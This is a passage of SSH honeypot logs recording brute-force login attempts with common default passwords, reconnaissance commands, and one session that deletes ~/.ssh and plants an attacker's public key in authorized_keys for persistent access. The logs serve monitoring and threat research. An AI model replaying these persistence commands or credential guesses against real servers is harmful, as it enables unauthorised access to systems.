s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:38.274716 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / abc123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: bc217f296106
Client Version: SSH-2.0-Go
Engagement Duration: 1.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "bc217f296106",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:38.274716Z",
  "end_time": "2026-09-24T02:39:40.031965Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "abc123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:33.108410 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / zaq12wsx

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: f2e7401a77b0
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "f2e7401a77b0",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:33.108410Z",
  "end_time": "2026-09-24T02:39:34.447851Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "zaq12wsx"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
41.59.82.183
2026-09-24 02:39:31.395000 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aaa

Record ID: 6ef80aa4c159
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 6.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "6ef80aa4c159",
  "src_ip": "41.59.82.183",
  "start_time": "2026-09-24T02:39:31.395000Z",
  "end_time": "2026-09-24T02:39:37.858877Z",
  "duration": "6.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "aaa",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:27.712310 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian

Record ID: abe45474216d
Client Version: SSH-2.0-Go
Engagement Duration: 2.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "abe45474216d",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:27.712310Z",
  "end_time": "2026-09-24T02:39:29.982305Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "debian",
      "pass": "qwerty"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
201.103.255.126
2026-09-24 02:39:23.368065 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: amir

Record ID: 2991d1bc2ba7
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 1.4s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "2991d1bc2ba7",
  "src_ip": "201.103.255.126",
  "start_time": "2026-09-24T02:39:23.368065Z",
  "end_time": "2026-09-24T02:39:24.762003Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "amir",
      "pass": "changeme"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:22.827579 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tester

Record ID: 512bdb79b8e2
Client Version: SSH-2.0-Go
Engagement Duration: 2.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "512bdb79b8e2",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:22.827579Z",
  "end_time": "2026-09-24T02:39:24.810472Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "tester",
      "pass": "tester"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:17.622908 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / .

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 91a74cb8b04f
Client Version: SSH-2.0-Go
Engagement Duration: 1.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "91a74cb8b04f",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:17.622908Z",
  "end_time": "2026-09-24T02:39:19.108661Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "."
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:12.739248 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: e20ec211436c
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "e20ec211436c",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:12.739248Z",
  "end_time": "2026-09-24T02:39:14.031614Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:07.426461 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hummingbot

Record ID: 84cf777508e6
Client Version: SSH-2.0-Go
Engagement Duration: 2.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "84cf777508e6",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:07.426461Z",
  "end_time": "2026-09-24T02:39:09.632047Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "hummingbot",
      "pass": "hummingbot"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:02.716088 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gabriel

Record ID: 535c0c24560f
Client Version: SSH-2.0-Go
Engagement Duration: 2.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "535c0c24560f",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:02.716088Z",
  "end_time": "2026-09-24T02:39:04.887402Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gabriel",
      "pass": "gabriel"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
204.157.182.31
2026-09-24 02:39:01.864272 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ddfb82c6265c
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "ddfb82c6265c",
  "src_ip": "204.157.182.31",
  "start_time": "2026-09-24T02:39:01.864272Z",
  "end_time": "2026-09-24T02:39:01.866570Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
109.160.32.77
2026-09-24 02:38:57.782030 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / null

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 4c7fdba0729c
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "4c7fdba0729c",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:57.782030Z",
  "end_time": "2026-09-24T02:38:59.047953Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "null"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:52.662269 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ymy

Record ID: dc4f9d77133a
Client Version: SSH-2.0-Go
Engagement Duration: 1.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "dc4f9d77133a",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:52.662269Z",
  "end_time": "2026-09-24T02:38:54.484521Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ymy",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
204.157.182.31
2026-09-24 02:38:51.121816 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1312a9722903
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "1312a9722903",
  "src_ip": "204.157.182.31",
  "start_time": "2026-09-24T02:38:51.121816Z",
  "end_time": "2026-09-24T02:38:51.125009Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
109.160.32.77
2026-09-24 02:38:47.622390 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: root1

Record ID: 4fbc1d1c0fef
Client Version: SSH-2.0-Go
Engagement Duration: 1.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "4fbc1d1c0fef",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:47.622390Z",
  "end_time": "2026-09-24T02:38:49.555461Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "root1",
      "pass": "qwe123!@"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:42.677724 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student

Record ID: 89875701d662
Client Version: SSH-2.0-Go
Engagement Duration: 2.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "89875701d662",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:42.677724Z",
  "end_time": "2026-09-24T02:38:44.839712Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "student",
      "pass": "password"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:37.921257 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webadmin

Record ID: 97bce67f2ddc
Client Version: SSH-2.0-Go
Engagement Duration: 1.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "97bce67f2ddc",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:37.921257Z",
  "end_time": "2026-09-24T02:38:39.733652Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "webadmin",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:32.645621 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 1512

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 01ffdb45fe1b
Client Version: SSH-2.0-Go
Engagement Duration: 1.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "01ffdb45fe1b",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:32.645621Z",
  "end_time": "2026-09-24T02:38:34.163469Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1512"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
40.83.182.122
2026-09-24 02:38:32.031078 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 3d222c2e2a52
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3d222c2e2a52",
  "src_ip": "40.83.182.122",
  "start_time": "2026-09-24T02:38:32.031078Z",
  "end_time": "2026-09-24T02:38:32.229588Z",
  "duration": "0.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
40.83.182.122
2026-09-24 02:38:30.817920 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 0c6cebb6f6a7
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "0c6cebb6f6a7",
  "src_ip": "40.83.182.122",
  "start_time": "2026-09-24T02:38:30.817920Z",
  "end_time": "2026-09-24T02:38:32.008170Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
40.83.182.122
2026-09-24 02:38:30.358670 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123!@#QWEqwe

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 42b94f2447db
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "42b94f2447db",
  "src_ip": "40.83.182.122",
  "start_time": "2026-09-24T02:38:30.358670Z",
  "end_time": "2026-09-24T02:38:32.225728Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123!@#QWEqwe"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:27.538414 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 00008888

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 20b1b1b37874
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "20b1b1b37874",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:27.538414Z",
  "end_time": "2026-09-24T02:38:28.846185Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "00008888"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:22.432530 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: recorder

Record ID: 24f9493979da
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "24f9493979da",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:22.432530Z",
  "end_time": "2026-09-24T02:38:24.564664Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "recorder",
      "pass": "recorder"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:17.690346 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / qweasdzxc

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 2f19c8eec872
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "2f19c8eec872",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:17.690346Z",
  "end_time": "2026-09-24T02:38:19.008295Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qweasdzxc"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:12.651972 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mcserver

Record ID: af2181a4dfb9
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "af2181a4dfb9",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:12.651972Z",
  "end_time": "2026-09-24T02:38:14.802222Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "mcserver",
      "pass": "mcserver"
    }
  ],
  "success_login": false,
